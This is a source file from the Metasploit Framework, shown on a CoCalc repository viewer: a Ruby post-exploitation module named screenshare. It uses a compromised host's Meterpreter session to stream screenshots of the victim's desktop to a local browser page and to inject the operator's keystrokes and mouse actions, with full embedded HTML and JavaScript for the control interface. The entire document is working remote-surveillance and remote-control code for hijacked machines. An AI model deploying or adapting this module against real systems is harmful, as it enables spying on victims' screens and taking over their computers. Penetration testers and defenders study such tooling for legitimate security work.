CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/screenshare.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
include Msf::Exploit::Remote::HttpServer
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Multi Manage the screen of the target meterpreter session',
15
'Description' => %q{
16
This module allows you to view and control the screen of the target computer via
17
a local browser window. The module continually screenshots the target screen and
18
also relays all mouse and keyboard events to session.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'timwr'],
22
'Platform' => [ 'linux', 'win', 'osx' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'DefaultOptions' => { 'SRVHOST' => '127.0.0.1' },
25
'Compat' => {
26
'Meterpreter' => {
27
'Commands' => %w[
28
stdapi_ui_desktop_screenshot
29
stdapi_ui_send_keyevent
30
stdapi_ui_send_mouse
31
]
32
}
33
},
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'Reliability' => [],
37
'SideEffects' => []
38
}
39
)
40
)
41
end
42
43
def run
44
@last_sequence = 0
45
@key_sequence = {}
46
exploit
47
end
48
49
def perform_event(query)
50
action = query['action']
51
52
if action == 'key'
53
key = query['key']
54
keyaction = query['keyaction']
55
session.ui.keyevent_send(key, keyaction) if key
56
else
57
x = query['x']
58
y = query['y']
59
session.ui.mouse(action, x, y)
60
end
61
end
62
63
def supports_espia?(session)
64
return false unless session.platform == 'windows'
65
66
session.core.use('espia') unless session.espia
67
session.espia.present?
68
rescue RuntimeError
69
false
70
end
71
72
# rubocop:disable Metrics/MethodLength
73
def on_request_uri(cli, request)
74
if request.uri =~ %r{/screenshot$}
75
data = ''
76
if supports_espia?(session)
77
data = session.espia.espia_image_get_dev_screen
78
else
79
data = session.ui.screenshot(50)
80
end
81
send_response(cli, data, { 'Content-Type' => 'image/jpeg', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache' })
82
elsif request.uri =~ %r{/event$}
83
query = JSON.parse(request.body)
84
seq = query['i']
85
if seq <= @last_sequence + 1
86
perform_event(query)
87
@last_sequence = seq
88
else
89
@key_sequence[seq] = query
90
end
91
loop do
92
event = @key_sequence[@last_sequence + 1]
93
break unless event
94
95
perform_event(event)
96
@last_sequence += 1
97
@key_sequence.delete(@last_sequence)
98
end
99
100
send_response(cli, '')
101
else
102
print_status("Sent screenshare html to #{cli.peerhost}")
103
uripath = get_resource
104
uripath += '/' unless uripath.end_with? '/'
105
html = %^<!html>
106
<head>
107
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
108
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
109
<title>Metasploit screenshare</title>
110
</head>
111
<body>
112
<noscript>
113
<h2 style="color:#f00">Error: You need JavaScript enabled to watch the stream.</h2>
114
</noscript>
115
<div id="error" style="display: none">
116
An error occurred when loading the latest screen share.
117
</div>
118
<div id="container">
119
<div class="controls">
120
<span>
121
<label for="isControllingCheckbox">Controlling target?</label>
122
<input type="checkbox" id="isControllingCheckbox" name="scales">
123
</span>
124
<span>
125
<label for="screenScaleFactorInput">Screen size</label>
126
<input type="range" id="screenScaleFactorInput" min="0.01" max="2" step="0.01" />
127
</span>
128
<span>
129
<label for="refreshRateInput">Image delay</label>
130
<input type="range" id="imageDelayInput" min="16" max="60000" step="1" />
131
<span id="imageDelayLabel" />
132
</span>
133
</div>
134
<canvas id="canvas" />
135
</div>
136
<div>
137
<a href="https://www.metasploit.com" target="_blank">www.metasploit.com</a>
138
</div>
139
</body>
140
<script type="text/javascript">
141
"use strict";
142
143
var state = {
144
eventCount: 1,
145
isControlling: false,
146
// 1 being original size, 0.5 half size, 2 being twice as large
147
screenScaleFactor: 1,
148
// In milliseconds, 1 capture every 60 seconds
149
imageDelay: 60000,
150
};
151
152
var container = document.getElementById("container");
153
var error = document.getElementById("error");
154
var img = new Image();
155
var controllingCheckbox = document.getElementById("isControllingCheckbox");
156
var imageDelayInput = document.getElementById("imageDelayInput");
157
var imageDelayLabel = document.getElementById("imageDelayLabel");
158
var screenScaleFactorInput = document.getElementById("screenScaleFactorInput");
159
var canvas = document.getElementById("canvas");
160
var ctx = canvas.getContext("2d");
161
162
/////////////////////////////////////////////////////////////////////////////
163
// Form binding
164
/////////////////////////////////////////////////////////////////////////////
165
166
setTimeout(synchronizeState, 0);
167
168
controllingCheckbox.onclick = function () {
169
state.isControlling = controllingCheckbox.checked;
170
synchronizeState();
171
};
172
173
imageDelayInput.oninput = function (e) {
174
state.imageDelay = Number(e.target.value);
175
synchronizeState();
176
};
177
178
screenScaleFactorInput.oninput = function (e) {
179
state.screenScaleFactor = Number(e.target.value);
180
synchronizeState();
181
};
182
183
function synchronizeState() {
184
screenScaleFactorInput.value = state.screenScaleFactor;
185
imageDelayInput.value = state.imageDelay;
186
imageDelayLabel.innerHTML = state.imageDelay + " milliseconds";
187
controllingCheckbox.checked = state.isControlling;
188
scheduler.setDelay(state.imageDelay);
189
updateCanvas();
190
}
191
192
/////////////////////////////////////////////////////////////////////////////
193
// Canvas Refeshing
194
/////////////////////////////////////////////////////////////////////////////
195
196
// Schedules the queued function to be invoked after the required period of delay.
197
// If a queued function is originally queued for a delay of one minute, followed
198
// by an updated delay of 1000ms, the previous delay will be ignored - and the
199
// required function will instead be invoked 1 second later as requested.
200
function Scheduler(initialDay) {
201
var previousTimeoutId = null;
202
var delay = initialDay;
203
var previousFunc = null;
204
205
this.setDelay = function (value) {
206
if (value === delay) return;
207
delay = value;
208
this.queue(previousFunc);
209
};
210
211
this.queue = function (func) {
212
clearTimeout(previousTimeoutId);
213
previousTimeoutId = setTimeout(func, delay);
214
previousFunc = func;
215
};
216
217
return this;
218
}
219
var scheduler = new Scheduler(state.imageDelay);
220
221
function updateCanvas() {
222
canvas.width = img.width * state.screenScaleFactor;
223
canvas.height = img.height * state.screenScaleFactor;
224
ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
225
226
error.style = "display: none";
227
}
228
229
function showError() {
230
error.style = "display: initial";
231
}
232
233
// Fetches the latest image, and queues an additional image refresh once complete
234
function fetchLatestImage() {
235
var nextImg = new Image();
236
nextImg.onload = function () {
237
img = nextImg;
238
updateCanvas();
239
scheduler.queue(fetchLatestImage);
240
};
241
nextImg.onerror = function () {
242
showError();
243
scheduler.queue(fetchLatestImage);
244
};
245
nextImg.src = "#{uripath}screenshot#" + Date.now();
246
}
247
248
fetchLatestImage();
249
250
/////////////////////////////////////////////////////////////////////////////
251
// Canvas interaction
252
/////////////////////////////////////////////////////////////////////////////
253
254
// Returns a function, that when invoked, will only run at most once within
255
// the required timeframe. This reduces the rate at which a function will be
256
// called. Particularly useful for reducing the amount of mouse movement events.
257
function throttle(func, limit) {
258
limit = limit || 200;
259
var timeoutId;
260
var previousTime;
261
var context;
262
var args;
263
return function () {
264
context = this;
265
args = arguments;
266
if (!previousTime) {
267
func.apply(context, args);
268
previousTime = Date.now();
269
} else {
270
clearTimeout(timeoutId);
271
timeoutId = setTimeout(function () {
272
if (Date.now() - previousTime >= limit) {
273
func.apply(context, args);
274
previousTime = Date.now();
275
}
276
}, limit - (Date.now() - previousTime));
277
}
278
};
279
}
280
281
function sendEvent(event) {
282
if (!state.isControlling) {
283
return;
284
}
285
286
event["i"] = state.eventCount++;
287
var req = new XMLHttpRequest();
288
req.open("POST", "#{uripath}event", true);
289
req.setRequestHeader("Content-type", 'application/json;charset=UTF-8');
290
req.send(JSON.stringify(event));
291
}
292
293
function mouseEvent(action, e) {
294
sendEvent({
295
action: action,
296
// Calculate mouse position relative to the original screensize
297
x: Math.round(
298
(e.pageX - canvas.offsetLeft) * (1 / state.screenScaleFactor)
299
),
300
y: Math.round(
301
(e.pageY - canvas.offsetTop) * (1 / state.screenScaleFactor)
302
),
303
});
304
}
305
306
function keyEvent(action, key) {
307
if (key === 59) {
308
key = 186;
309
} else if (key === 61) {
310
key = 187;
311
} else if (key === 173) {
312
key = 189;
313
}
314
sendEvent({
315
action: "key",
316
keyaction: action,
317
key: key,
318
});
319
}
320
321
document.onkeydown = throttle(function (e) {
322
if (!state.isControlling) {
323
return;
324
}
325
var key = e.which || e.keyCode;
326
keyEvent(1, key);
327
e.preventDefault();
328
});
329
330
document.onkeyup = function (e) {
331
if (!state.isControlling) {
332
return;
333
}
334
var key = e.which || e.keyCode;
335
keyEvent(2, key);
336
e.preventDefault();
337
};
338
339
canvas.addEventListener(
340
"contextmenu",
341
function (e) {
342
if (!state.isControlling) {
343
return;
344
}
345
e.preventDefault();
346
},
347
false
348
);
349
350
canvas.onmousemove = throttle(function (e) {
351
if (!state.isControlling) {
352
return;
353
}
354
mouseEvent("move", e);
355
e.preventDefault();
356
});
357
358
canvas.onmousedown = function (e) {
359
if (!state.isControlling) {
360
return;
361
}
362
var action = "leftdown";
363
if (e.which === 3) {
364
action = "rightdown";
365
}
366
mouseEvent(action, e);
367
e.preventDefault();
368
};
369
370
canvas.onmouseup = function (e) {
371
if (!state.isControlling) {
372
return;
373
}
374
var action = "leftup";
375
if (e.which === 3) {
376
action = "rightup";
377
}
378
mouseEvent(action, e);
379
e.preventDefault();
380
};
381
382
canvas.ondblclick = function (e) {
383
if (!state.isControlling) {
384
return;
385
}
386
mouseEvent("doubleclick", e);
387
e.preventDefault();
388
};
389
</script>
390
<style>
391
body {
392
color: rgba(0, 0, 0, .85);
393
font-size: 16px;
394
}
395
396
input {
397
padding: 0.5em 0.6em;
398
display: inline-block;
399
vertical-align: middle;
400
-webkit-box-sizing: border-box;
401
box-sizing: border-box;
402
}
403
404
.controls {
405
line-height: 2;
406
}
407
</style>
408
</html>
409
^
410
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
411
end
412
end
413
# rubocop:enable Metrics/MethodLength
414
end
415
416